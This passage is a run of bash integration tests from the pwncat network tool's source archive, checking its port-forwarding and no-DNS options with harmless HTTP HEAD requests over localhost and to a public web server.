cli3_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT-1 # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client-1 (without Proxy)" # Start Client print_info "Start Client-1" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${THOST}" "${TPORT}" "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi test_case_instance_is_running "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" wait_for_data_transferred "^Content-Type:" "" "" "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" wait_for_data_transferred "^Set-Cookie:" "" "" "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" test_case_instance_has_no_errors "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" action_stop_instance "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT-2 # -------------------------------------------------------------------------------- print_h2 "(3/5) Start: Client-2 (with Proxy)" # Start Client print_info "Start Client-2" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${RHOST}" "${RPORT}" "${cli2_stdout}" "${cli2_stderr}" )"; then printf "" fi test_case_instance_is_running "Client-2" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" wait_for_data_transferred "^Content-Type:" "" "" "Client-2" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" wait_for_data_transferred "^Set-Cookie:" "" "" "Client-1" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" test_case_instance_has_no_errors "Client-2" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" action_stop_instance "Client-2" "${cli_pid}" "${cli2_stdout}" "${cli2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: CLIENT-3 # -------------------------------------------------------------------------------- print_h2 "(4/5) Start: Client-3 (with Proxy)" # Start Client print_info "Start Client-3" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${RHOST}" "${RPORT}" "${cli3_stdout}" "${cli3_stderr}" )"; then printf "" fi test_case_instance_is_running "Client-3" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" wait_for_data_transferred "^Content-Type:" "" "" "Client-3" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" wait_for_data_transferred "^Set-Cookie:" "" "" "Client-1" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" test_case_instance_has_no_errors "Client-3" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" action_stop_instance "Client-3" "${cli_pid}" "${cli3_stdout}" "${cli3_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Server" action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown " "9" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "--local ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/10-mode---local_forward/README.md000066400000000000000000000001341414025024700240570ustar00rootroot00000000000000# Server `-L`/`--local` These tests ensure that the `-L`/`--local` mode works as expected. pwncat-0.1.2/tests/integration/11-mode---remote_forward/000077500000000000000000000000001414025024700230045ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/11-mode---remote_forward/000---tcp---www-forward.sh000077500000000000000000000203071414025024700272000ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" THOST="www.google.com" TPORT="80" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local cli_opts="${2// / }" local curr_mutation="${3}" local total_mutation="${4}" local curr_round="${5}" local total_round="${6}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" # First client checks for correct data cli1_stdout="$(tmp_file)" cli1_stderr="$(tmp_file)" # A Remote forwarder expects listening server to connect to, so here it can have it lis1_stdout="$(tmp_file)" lis1_stderr="$(tmp_file)" lis2_stdout="$(tmp_file)" lis2_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/5) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server is running test_case_instance_is_running "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has no errors test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "" "" "" "" "(Connection refused)|(actively refused)|(timed out)" # -------------------------------------------------------------------------------- # START: CLIENT-1 # -------------------------------------------------------------------------------- print_h2 "(2/5) Start: Client-1 (without Proxy)" # Start Client print_info "Start Client-1" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${THOST}" "${TPORT}" "${cli1_stdout}" "${cli1_stderr}" )"; then printf "" fi test_case_instance_is_running "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" wait_for_data_transferred "^Content-Type:" "" "" "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" wait_for_data_transferred "^Set-Cookie:" "" "" "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" test_case_instance_has_no_errors "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" action_stop_instance "Client-1" "${cli_pid}" "${cli1_stdout}" "${cli1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: LISTENER-1 # -------------------------------------------------------------------------------- print_h2 "(3/5) Start: Listener-1 (with Proxy)" # Start Client print_info "Start Listener-1" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "-l" "${RHOST}" "${RPORT}" "${lis1_stdout}" "${lis1_stderr}" )"; then printf "" fi test_case_instance_is_running "Listener-1" "${cli_pid}" "${lis1_stdout}" "${lis1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" wait_for_data_transferred "^Content-Type:" "" "" "Listener-1" "${cli_pid}" "${lis1_stdout}" "${lis1_stderr}" wait_for_data_transferred "^Set-Cookie:" "" "" "Listener-1" "${cli_pid}" "${lis1_stdout}" "${lis1_stderr}" test_case_instance_has_no_errors "Listener-1" "${cli_pid}" "${lis1_stdout}" "${lis1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" action_stop_instance "Listener-1" "${cli_pid}" "${lis1_stdout}" "${lis1_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # START: LISTENER-1 # -------------------------------------------------------------------------------- print_h2 "(3/5) Start: Listener-2 (with Proxy)" # Start Client print_info "Start Listener-2" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "-l" "${RHOST}" "${RPORT}" "${lis2_stdout}" "${lis2_stderr}" )"; then printf "" fi test_case_instance_is_running "Listener-2" "${cli_pid}" "${lis2_stdout}" "${lis2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" wait_for_data_transferred "^Content-Type:" "" "" "Listener-2" "${cli_pid}" "${lis2_stdout}" "${lis2_stderr}" wait_for_data_transferred "^Set-Cookie:" "" "" "Listener-2" "${cli_pid}" "${lis2_stdout}" "${lis2_stderr}" test_case_instance_has_no_errors "Listener-2" "${cli_pid}" "${lis2_stdout}" "${lis2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" action_stop_instance "Listener-2" "${cli_pid}" "${lis2_stdout}" "${lis2_stderr}" "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # -------------------------------------------------------------------------------- # STOP: SERVER # -------------------------------------------------------------------------------- print_h2 "(5/5) Stop: Server" action_stop_instance "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" test_case_instance_has_no_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "" "" "" "" "(Connection refused)|(actively refused)|(timed out)" } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do # server opts client opts run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvvv" "1" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvvv" "2" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vvvv" "3" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -vvvv" "4" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown -vvvv" "5" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vvv " "6" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -vv " "7" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown -v " "8" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvvv" "--no-shutdown " "9" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vvv " "--no-shutdown -vvv " "10" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -vv " "--no-shutdown -vv " "11" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} -v " "--no-shutdown -v " "12" "13" "${curr_round}" "${RUNS}" #run_test "--remote ${RHOST}:${RPORT} --no-shutdown ${THOST} ${TPORT} " "--no-shutdown " "13" "13" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/11-mode---remote_forward/README.md000066400000000000000000000001361414025024700242630ustar00rootroot00000000000000# Server `-R`/`--remote` These tests ensure that the `-R`/`--remote` mode works as expected. pwncat-0.1.2/tests/integration/20-options---nodns/000077500000000000000000000000001414025024700216555ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/20-options---nodns/000---tcp---client_nodns.sh000077500000000000000000000070171414025024700262450ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local cli_opts="${1// / }" local curr_mutation="${2}" local total_mutation="${3}" local curr_round="${4}" local total_round="${5}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client and hope it fails" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has errors test_case_instance_has_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # Ensure Client has no errors print_info "Checking for 'Resolve Error'" if ! run "grep \"Resolve Error\" ${cli_stderr}"; then print_file "CLIENT STDERR" "${cli_stderr}" print_file "CLIENT STDOUT" "${cli_stdout}" print_error "'Resolve Error' not found in error" exit 1 fi } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do run_test "${RHOST} ${RPORT} --no-shutdown -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -n -vvv " "2" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -n -vv " "3" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -n -v " "4" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -n " "5" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown --nodns " "10" "10" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/20-options---nodns/001---udp---client_nodns.sh000077500000000000000000000070551414025024700262520ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local cli_opts="${1// / }" local curr_mutation="${2}" local total_mutation="${3}" local curr_round="${4}" local total_round="${5}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" cli_stdout="$(tmp_file)" cli_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: CLIENT # -------------------------------------------------------------------------------- print_h2 "(2/4) Start: Client" # Start Client print_info "Start Client and hope it fails" # shellcheck disable=SC2086 if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then printf "" fi # Wait until Client is up run "sleep ${STARTUP_WAIT}" # [CLIENT] Ensure Client has quit automatically test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # [CLIENT] Ensure Client has errors test_case_instance_has_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" # Ensure Client has no errors print_info "Checking for 'Resolve Error'" if ! run "grep \"Resolve Error\" ${cli_stderr}"; then print_file "CLIENT STDERR" "${cli_stderr}" print_file "CLIENT STDOUT" "${cli_stdout}" print_error "'Resolve Error' not found in error" exit 1 fi } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -v " "4" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u -n " "5" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns " "10" "10" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/20-options---nodns/100---tcp---server_nodns.sh000077500000000000000000000070331414025024700262740ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local curr_mutation="${2}" local total_mutation="${3}" local curr_round="${4}" local total_round="${5}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has errors test_case_instance_has_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # Ensure Server has no errors print_info "Checking for 'Resolve Error'" if ! run "grep \"Resolve Error\" ${srv_stderr}"; then print_file "SERVER STDERR" "${srv_stderr}" print_file "SERVER STDOUT" "${srv_stdout}" print_error "'Resolve Error' not found in error" exit 1 fi } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vvv " "2" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vv " "3" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -v " "4" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n " "5" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns " "10" "10" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/20-options---nodns/101---udp---server_nodns.sh000077500000000000000000000070711414025024700263010ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" BINARY="${SCRIPTPATH}/../../../bin/pwncat" # shellcheck disable=SC1090 source "${SOURCEPATH}" # ------------------------------------------------------------------------------------------------- # GLOBALS # ------------------------------------------------------------------------------------------------- RHOST="${1:-localhost}" RPORT="${2:-4444}" STARTUP_WAIT="${3:-4}" RUNS="${4:-1}" PYTHON="python${5:-}" PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" # ------------------------------------------------------------------------------------------------- # TEST FUNCTIONS # ------------------------------------------------------------------------------------------------- print_test_case "${PYVER}" run_test() { local srv_opts="${1// / }" local curr_mutation="${2}" local total_mutation="${3}" local curr_round="${4}" local total_round="${5}" local data= print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}')" run "sleep 1" ### ### Create data and files ### data="$(tmp_file)" printf "HEAD / HTTP/1.1\\n\\n" > "${data}" srv_stdout="$(tmp_file)" srv_stderr="$(tmp_file)" # -------------------------------------------------------------------------------- # START: SERVER # -------------------------------------------------------------------------------- print_h2 "(1/4) Start: Server" # Start Server print_info "Start Server" # shellcheck disable=SC2086 if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then printf "" fi # Wait until Server is up run "sleep ${STARTUP_WAIT}" # [SERVER] Ensure Server has quit automatically test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # [SERVER] Ensure Server has errors test_case_instance_has_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" # Ensure Server has no errors print_info "Checking for 'Resolve Error'" if ! run "grep \"Resolve Error\" ${srv_stderr}"; then print_file "SERVER STDERR" "${srv_stderr}" print_file "SERVER STDOUT" "${srv_stdout}" print_error "'Resolve Error' not found in error" exit 1 fi } # ------------------------------------------------------------------------------------------------- # MAIN ENTRYPOINT # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -v " "4" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n " "5" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns " "10" "10" "${curr_round}" "${RUNS}" done pwncat-0.1.2/tests/integration/20-options---nodns/README.md000066400000000000000000000001361414025024700231340ustar00rootroot00000000000000# Server `-n`/`--nodns` These tests ensure that the `-n`/`--nodns` option works as expected. pwncat-0.1.2/tests/integration/21-options---crlf/000077500000000000000000000000001414025024700214635ustar00rootroot00000000000000pwncat-0.1.2/tests/integration/21-options---crlf/000---tcp---client_crlf_crlf---server_sends_lf.sh000077500000000000000000000151051414025024700321760ustar00rootroot00000000000000#!/usr/bin/env bash set -e set -u set -o pipefail SCRIPTPATH="$( cd 